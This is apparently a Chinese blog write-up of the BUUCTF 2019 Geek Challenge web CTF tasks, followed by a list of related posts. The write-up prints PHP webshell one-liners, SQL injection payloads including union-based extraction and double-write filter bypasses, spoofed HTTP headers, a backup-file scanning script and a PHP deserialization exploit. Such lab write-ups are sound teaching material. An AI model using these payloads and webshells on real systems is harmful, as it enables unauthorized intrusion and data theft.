BUU-2019极客大挑战全集
文章目录
- Havefun
- EasySQL
- Secret-File
- Knife
- HTTP
- Upload
- PHP
- Buyflag
- loveSql
- babysql
Havefun
首先F12,查看源代码
直接出flag
EasySQL
进来,一看就是sql注入题
使用万能密码:username=admin’ or 1=1 # password=1
Secret-File
F12
点击SELECT抓包,放包
得到代码
strstr函数和stristr()
strstr(PHP 4, PHP 5, PHP 7, PHP 8)
strstr — 查找字符串的首次出现
说明
strstr(string $haystack, mixed $needle, bool $before_needle = false): string
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。
注意:
该函数区分大小写。如果想要不区分大小写,请使用 stristr()。
注意:
如果你仅仅想确定 needle 是否存在于 haystack 中,请使用速度更快、耗费内存更少的 strpos() 函数。
参数
haystack
输入字符串。
needle
如果 needle 不是一个字符串,那么它将被转化为整型并且作为字符的序号来使用。
before_needle
若为 true,strstr() 将返回 needle 在 haystack 中的位置之前的部分。
返回值
返回字符串的一部分或者 false(如果未发现 needle)。
过滤了data,input,我们用filter协议
Knife
直接蚁剑连接,得到flag
HTTP
F12看源码,有Secret.php
HTTP报头加:Referer: https://www.Sycsecret.com
User-Agent: Syclover
使用X-Forwarded-For: 127.0.0.1,得flag
Upload
先常规解法,发现过滤了<?,php后缀
但是phtml可以。
考虑木马的问题
常用的木马
<?php
@eval($_POST[1]);
?><?php
$_GET[2]($_POST[1]);
?><script language="php">eval($_POST[1]);</script>
只能使用第三个木马,发现传上去了
访问文件,一般都是./upload/filename
后面就是蚁剑的事了。
PHP
首先看备份网站
我们用脚本跑
import requestsurl1 = 'http://3499e959-d225-4eed-bfd2-d64918cad17a.node4.buuoj.cn:81/' # url为被扫描地址,后不加‘/’# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']for i in list1:for j in list2:back=str(i)+"."+str(j)url_final=str(url1)+'/'+backprint(back,' ',end='')print(requests.get(url_final).status_code)
得到文件
开始分析php文件
class.php的代码
<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
//绕过__wakeup,使用实际上的属性值小于输入的属性值function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die(); }}
}
?>
php反序列化,开始构造
<?php
class Name{private $username='admin';private $password=100;
}
$a=new Name();
$b=serialize($a);
$b=str_replace('"Name":2','"Name":5',$b);
//存在private属性,会有不可见字符,urlencode
echo urlencode($b);
?>
Buyflag
点击右上角的payflag,F12发现代码
弱类型绕过,password=404a&money=100000000
抓包,发现cookie不对,将user=1
显示太长,我们用科学计数法
loveSql
查列数
username=admin&password=1’ order by 3 – -
查数据库
username=admin&password=1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – -
查表:
username=admin&password=1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“l0ve1ysq1”),3 – -
查数据
username=admin&password=1’ union select 1,(select group_concat(password) from l0ve1ysq1),3 – -
得flag
babysql
本题过滤了,or,and,union,select,*
我们使用双写绕过
查表:
1’ ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1
查列
1’ ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’),3 %23&password=1
查内容:
1’ ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1
BUU-2019极客大挑战全集相关推荐
- 极客大挑战php,2019极客大挑战PHP反序列化
1. 进入题目看到一只猫和提示备份的习惯.猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码. 2. 对其源码进行审计 a. index.php 包含文件index.ph ...
- buu [极客大挑战 2019]LoveSQL 1
buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记 小白一个,写给自己看. 进去后是这样: 用户名输入1和1'测试 发现1'报错 有sql语法错误,说明有sql注入点且后台数据库是Ma ...
- [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
- 极客大挑战2020_CTF-Web-[极客大挑战 2019]HardSQL
CTF-Web-[极客大挑战 2019]HardSQL 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得 ...
- BUUCTF Web [极客大挑战 2019]Havefun
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- BUUCTF-web [极客大挑战 2019]PHP1 之 反序列化漏洞
PHP反序列化漏洞 一,什么是序列与反序列 序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...
- BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...
- [极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL 依次点击5个页面 到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到 有参数,尝试单引号 提示error 那么应该存在sql注入,尝试永真 ...
- BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...
最新文章
- 继承QTreeWidgetItem发生error: 'staticMetaObject' is not a member of 'QTreeWidgetItem' 错误
- MyEclipse10安装SVN插件
- avcodec_send_packet()函数与avcodec_receive_frame()函数
- LeetCode(69):x 的平方根
- 代理模式(多线程实现状态监控)
- 文档对象模型dom_什么是文档对象模型,以及为什么应该知道如何使用它。
- [jstl] forEach标签使用
- MFC实现 MSN QQ 窗口抖动
- setTimeout、setInterval解刨
- 零跑C-more收获更多期待,而零跑S01还在追求更多的订单 | 2019 上海车展...
- Unbuntu的安装
- 使用Docker一键部署MongoDB
- java 文本框排版_怎么用java代码实现将文本框输入的内容按照设计的排版格式
- 什么是m叉树_品读 | 记忆深处那些树
- 【java笔记-006】【uni-app】当前运行的基座不包含原生插件[xxx],请在manifest中配置该插件,重新制作包括该原生插件的自定义运行基座
- 计算机在开机后显示器在显示桌面,电脑开机后显示屏一片空白
- 温度传感器c语言编写,温度传感器代码解析Ⅰ
- H.264编码器在需要时强制插入关键帧
- 用MFC写一个随机抽号的软件(VS2013)
- 程序员从互联网跳槽到银行 7天便辞职!吐槽银行技术水平:太落后了